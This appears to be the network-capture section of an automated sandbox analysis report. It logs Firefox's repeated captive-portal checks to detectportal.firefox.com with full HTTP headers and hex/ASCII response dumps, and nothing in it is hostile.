                                                                                                                                                                                                                                                                  x-powered-by: PHP/8.1
                                                                                                                                                                                                                                                                  content-encoding: gzip
                                                                                                                                                                                                                                                                  x-iplb-request-id: 90D90209:D366_D5BA2111:0050_6716214E_6C4F4:29F2
                                                                                                                                                                                                                                                                  Age: 0
                                                                                                                                                                                                                                                                  X-CDN-Cache: MISS
                                                                                                                                                                                                                                                                  X-CDN-Request-ID: 282493564
                                                                                                                                                                                                                                                                  X-CDN-Pop: bhs
                                                                                                                                                                                                                                                                  Accept-Ranges: bytes
                                                                                                                                                                                                                                                                  Content-Length: 59
                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                  Data Raw: 1f 8b 08 00 00 00 00 00 00 03 7a bf 7b bf 82 82 42 70 6a 51 66 62 8e 5f 69 6e 52 6a 91 82 ad 82 b1 a5 8f ae 87 a1 a1 ae 91 99 02 17 00 00 00 ff ff 03 00 a0 c3 7e ec 21 00 00 00
                                                                                                                                                                                                                                                                  Data Ascii: z{BpjQfb_inRj~!


                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                  4192.168.2.54976334.107.221.82801088C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.110984087 CEST305OUTGET /success.txt?ipv4 HTTP/1.1
                                                                                                                                                                                                                                                                  Host: detectportal.firefox.com
                                                                                                                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
                                                                                                                                                                                                                                                                  Accept: */*
                                                                                                                                                                                                                                                                  Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                  Pragma: no-cache
                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.706484079 CEST216INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                  Server: nginx
                                                                                                                                                                                                                                                                  Content-Length: 8
                                                                                                                                                                                                                                                                  Via: 1.1 google
                                                                                                                                                                                                                                                                  Date: Sun, 20 Oct 2024 12:54:23 GMT
                                                                                                                                                                                                                                                                  Age: 74703
                                                                                                                                                                                                                                                                  Content-Type: text/plain
                                                                                                                                                                                                                                                                  Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600
                                                                                                                                                                                                                                                                  Data Raw: 73 75 63 63 65 73 73 0a
                                                                                                                                                                                                                                                                  Data Ascii: success


                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                  5192.168.2.54978934.107.221.82801088C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.161535978 CEST303OUTGET /canonical.html HTTP/1.1
                                                                                                                                                                                                                                                                  Host: detectportal.firefox.com
                                                                                                                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
                                                                                                                                                                                                                                                                  Accept: */*
                                                                                                                                                                                                                                                                  Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                  Pragma: no-cache
                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.761235952 CEST298INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                  Server: nginx
                                                                                                                                                                                                                                                                  Content-Length: 90
                                                                                                                                                                                                                                                                  Via: 1.1 google
                                                                                                                                                                                                                                                                  Date: Sun, 20 Oct 2024 14:45:40 GMT
                                                                                                                                                                                                                                                                  Age: 68029
                                                                                                                                                                                                                                                                  Content-Type: text/html
                                                                                                                                                                                                                                                                  Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600
                                                                                                                                                                                                                                                                  Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e
                                                                                                                                                                                                                                                                  Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:31.187596083 CEST303OUTGET /canonical.html HTTP/1.1
                                                                                                                                                                                                                                                                  Host: detectportal.firefox.com
                                                                                                                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
                                                                                                                                                                                                                                                                  Accept: */*
                                                                                                                                                                                                                                                                  Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                  Pragma: no-cache
                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:31.312844038 CEST298INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                  Server: nginx
                                                                                                                                                                                                                                                                  Content-Length: 90
                                                                                                                                                                                                                                                                  Via: 1.1 google
                                                                                                                                                                                                                                                                  Date: Sun, 20 Oct 2024 14:45:40 GMT
                                                                                                                                                                                                                                                                  Age: 68031
                                                                                                                                                                                                                                                                  Content-Type: text/html
                                                                                                                                                                                                                                                                  Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600
                                                                                                                                                                                                                                                                  Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e
                                                                                                                                                                                                                                                                  Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:36.063374996 CEST303OUTGET /canonical.html HTTP/1.1
                                                                                                                                                                                                                                                                  Host: detectportal.firefox.com
                                                                                                                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
                                                                                                                                                                                                                                                                  Accept: */*
                                                                                                                                                                                                                                                                  Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                  Pragma: no-cache
                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:36.188757896 CEST298INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                  Server: nginx
                                                                                                                                                                                                                                                                  Content-Length: 90
                                                                                                                                                                                                                                                                  Via: 1.1 google
                                                                                                                                                                                                                                                                  Date: Sun, 20 Oct 2024 14:45:40 GMT
                                                                                                                                                                                                                                                                  Age: 68036
                                                                                                                                                                                                                                                                  Content-Type: text/html
                                                                                                                                                                                                                                                                  Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600
                                                                                                                                                                                                                                                                  Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e
                                                                                                                                                                                                                                                                  Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:41.641314983 CEST303OUTGET /canonical.html HTTP/1.1
                                                                                                                                                                                                                                                                  Host: detectportal.firefox.com
                                                                                                                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
                                                                                                                                                                                                                                                                  Accept: */*
                                                                                                                                                                                                                                                                  Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                  Pragma: no-cache
                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:41.767473936 CEST298INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                  Server: nginx
                                                                                                                                                                                                                                                                  Content-Length: 90
                                                                                                                                                                                                                                                                  Via: 1.1 google
                                                                                                                                                                                                                                                                  Date: Sun, 20 Oct 2024 14:45:40 GMT
                                                                                                                                                                                                                                                                  Age: 68041
                                                                                                                                                                                                                                                                  Content-Type: text/html
                                                                                                                                                                                                                                                                  Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600
                                                                                                                                                                                                                                                                  Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e
                                                                                                                                                                                                                                                                  Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.377701044 CEST303OUTGET /canonical.html HTTP/1.1
                                                                                                                                                                                                                                                                  Host: detectportal.firefox.com
                                                                                                                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
                                                                                                                                                                                                                                                                  Accept: */*
                                                                                                                                                                                                                                                                  Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                  Pragma: no-cache
                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.503243923 CEST298INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                  Server: nginx
                                                                                                                                                                                                                                                                  Content-Length: 90
                                                                                                                                                                                                                                                                  Via: 1.1 google
                                                                                                                                                                                                                                                                  Date: Sun, 20 Oct 2024 14:45:40 GMT
                                                                                                                                                                                                                                                                  Age: 68042
                                                                                                                                                                                                                                                                  Content-Type: text/html
                                                                                                                                                                                                                                                                  Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600
                                                                                                                                                                                                                                                                  Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e
                                                                                                                                                                                                                                                                  Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.080624104 CEST303OUTGET /canonical.html HTTP/1.1
                                                                                                                                                                                                                                                                  Host: detectportal.firefox.com
                                                                                                                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
                                                                                                                                                                                                                                                                  Accept: */*
                                                                                                                                                                                                                                                                  Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                  Pragma: no-cache
                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.206479073 CEST298INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                  Server: nginx
                                                                                                                                                                                                                                                                  Content-Length: 90
                                                                                                                                                                                                                                                                  Via: 1.1 google
                                                                                                                                                                                                                                                                  Date: Sun, 20 Oct 2024 14:45:40 GMT
                                                                                                                                                                                                                                                                  Age: 68045
                                                                                                                                                                                                                                                                  Content-Type: text/html
                                                                                                                                                                                                                                                                  Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600
                                                                                                                                                                                                                                                                  Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e
                                                                                                                                                                                                                                                                  Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.689001083 CEST303OUTGET /canonical.html HTTP/1.1
                                                                                                                                                                                                                                                                  Host: detectportal.firefox.com
                                                                                                                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
                                                                                                                                                                                                                                                                  Accept: */*
                                                                                                                                                                                                                                                                  Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                  Pragma: no-cache
                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.814615011 CEST298INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                  Server: nginx
                                                                                                                                                                                                                                                                  Content-Length: 90
                                                                                                                                                                                                                                                                  Via: 1.1 google
                                                                                                                                                                                                                                                                  Date: Sun, 20 Oct 2024 14:45:40 GMT
                                                                                                                                                                                                                                                                  Age: 68045
                                                                                                                                                                                                                                                                  Content-Type: text/html
                                                                                                                                                                                                                                                                  Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600
                                                                                                                                                                                                                                                                  Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e
                                                                                                                                                                                                                                                                  Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:46.401645899 CEST303OUTGET /canonical.html HTTP/1.1
                                                                                                                                                                                                                                                                  Host: detectportal.firefox.com
                                                                                                                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
                                                                                                                                                                                                                                                                  Accept: */*
                                                                                                                                                                                                                                                                  Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                  Pragma: no-cache
                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:46.526978016 CEST298INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                  Server: nginx
                                                                                                                                                                                                                                                                  Content-Length: 90
                                                                                                                                                                                                                                                                  Via: 1.1 google
                                                                                                                                                                                                                                                                  Date: Sun, 20 Oct 2024 14:45:40 GMT
                                                                                                                                                                                                                                                                  Age: 68046
                                                                                                                                                                                                                                                                  Content-Type: text/html
                                                                                                                                                                                                                                                                  Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600
                                                                                                                                                                                                                                                                  Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e
                                                                                                                                                                                                                                                                  Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:47.091161013 CEST303OUTGET /canonical.html HTTP/1.1
                                                                                                                                                                                                                                                                  Host: detectportal.firefox.com
                                                                                                                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
                                                                                                                                                                                                                                                                  Accept: */*
                                                                                                                                                                                                                                                                  Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                  Pragma: no-cache
                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:47.216340065 CEST298INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                  Server: nginx
                                                                                                                                                                                                                                                                  Content-Length: 90
                                                                                                                                                                                                                                                                  Via: 1.1 google
                                                                                                                                                                                                                                                                  Date: Sun, 20 Oct 2024 14:45:40 GMT
                                                                                                                                                                                                                                                                  Age: 68047
                                                                                                                                                                                                                                                                  Content-Type: text/html
                                                                                                                                                                                                                                                                  Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600
                                                                                                                                                                                                                                                                  Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e
                                                                                                                                                                                                                                                                  Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:47.719547987 CEST303OUTGET /canonical.html HTTP/1.1
                                                                                                                                                                                                                                                                  Host: detectportal.firefox.com
                                                                                                                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
                                                                                                                                                                                                                                                                  Accept: */*
                                                                                                                                                                                                                                                                  Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                  Pragma: no-cache
                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:47.845153093 CEST298INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                  Server: nginx
                                                                                                                                                                                                                                                                  Content-Length: 90
                                                                                                                                                                                                                                                                  Via: 1.1 google
                                                                                                                                                                                                                                                                  Date: Sun, 20 Oct 2024 14:45:40 GMT
                                                                                                                                                                                                                                                                  Age: 68047
                                                                                                                                                                                                                                                                  Content-Type: text/html
                                                                                                                                                                                                                                                                  Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600
                                                                                                                                                                                                                                                                  Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e
                                                                                                                                                                                                                                                                  Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.679307938 CEST303OUTGET /canonical.html HTTP/1.1
                                                                                                                                                                                                                                                                  Host: detectportal.firefox.com
                                                                                                                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
                                                                                                                                                                                                                                                                  Accept: */*
                                                                                                                                                                                                                                                                  Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                  Pragma: no-cache
                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.804958105 CEST298INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                  Server: nginx
                                                                                                                                                                                                                                                                  Content-Length: 90
                                                                                                                                                                                                                                                                  Via: 1.1 google
                                                                                                                                                                                                                                                                  Date: Sun, 20 Oct 2024 14:45:40 GMT
                                                                                                                                                                                                                                                                  Age: 68051
                                                                                                                                                                                                                                                                  Content-Type: text/html
                                                                                                                                                                                                                                                                  Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600
                                                                                                                                                                                                                                                                  Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e
                                                                                                                                                                                                                                                                  Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.962877989 CEST303OUTGET /canonical.html HTTP/1.1
                                                                                                                                                                                                                                                                  Host: detectportal.firefox.com
                                                                                                                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
                                                                                                                                                                                                                                                                  Accept: */*
                                                                                                                                                                                                                                                                  Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                  Pragma: no-cache
                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:52.088172913 CEST298INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                  Server: nginx
                                                                                                                                                                                                                                                                  Content-Length: 90
                                                                                                                                                                                                                                                                  Via: 1.1 google
                                                                                                                                                                                                                                                                  Date: Sun, 20 Oct 2024 14:45:40 GMT
                                                                                                                                                                                                                                                                  Age: 68052
                                                                                                                                                                                                                                                                  Content-Type: text/html
                                                                                                                                                                                                                                                                  Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600
                                                                                                                                                                                                                                                                  Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e
                                                                                                                                                                                                                                                                  Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:52.444498062 CEST303OUTGET /canonical.html HTTP/1.1
                                                                                                                                                                                                                                                                  Host: detectportal.firefox.com
                                                                                                                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
                                                                                                                                                                                                                                                                  Accept: */*
                                                                                                                                                                                                                                                                  Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                  Pragma: no-cache
                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:52.572766066 CEST298INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                  Server: nginx
                                                                                                                                                                                                                                                                  Content-Length: 90
                                                                                                                                                                                                                                                                  Via: 1.1 google
                                                                                                                                                                                                                                                                  Date: Sun, 20 Oct 2024 14:45:40 GMT
                                                                                                                                                                                                                                                                  Age: 68052
                                                                                                                                                                                                                                                                  Content-Type: text/html
                                                                                                                                                                                                                                                                  Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600
                                                                                                                                                                                                                                                                  Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e
                                                                                                                                                                                                                                                                  Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:52.595941067 CEST303OUTGET /canonical.html HTTP/1.1
                                                                                                                                                                                                                                                                  Host: detectportal.firefox.com
                                                                                                                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
                                                                                                                                                                                                                                                                  Accept: */*
                                                                                                                                                                                                                                                                  Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                  Pragma: no-cache
                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:52.721817017 CEST298INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                  Server: nginx
                                                                                                                                                                                                                                                                  Content-Length: 90
                                                                                                                                                                                                                                                                  Via: 1.1 google
                                                                                                                                                                                                                                                                  Date: Sun, 20 Oct 2024 14:45:40 GMT
                                                                                                                                                                                                                                                                  Age: 68052
                                                                                                                                                                                                                                                                  Content-Type: text/html
                                                                                                                                                                                                                                                                  Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600
                                                                                                                                                                                                                                                                  Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e
                                                                                                                                                                                                                                                                  Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:53.166197062 CEST303OUTGET /canonical.html HTTP/1.1
                                                                                                                                                                                                                                                                  Host: detectportal.firefox.com
                                                                                                                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
                                                                                                                                                                                                                                                                  Accept: */*
                                                                                                                                                                                                                                                                  Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                  Pragma: no-cache
                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:53.294873953 CEST298INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                  Server: nginx
                                                                                                                                                                                                                                                                  Content-Length: 90
                                                                                                                                                                                                                                                                  Via: 1.1 google
                                                                                                                                                                                                                                                                  Date: Sun, 20 Oct 2024 14:45:40 GMT
                                                                                                                                                                                                                                                                  Age: 68053
                                                                                                                                                                                                                                                                  Content-Type: text/html
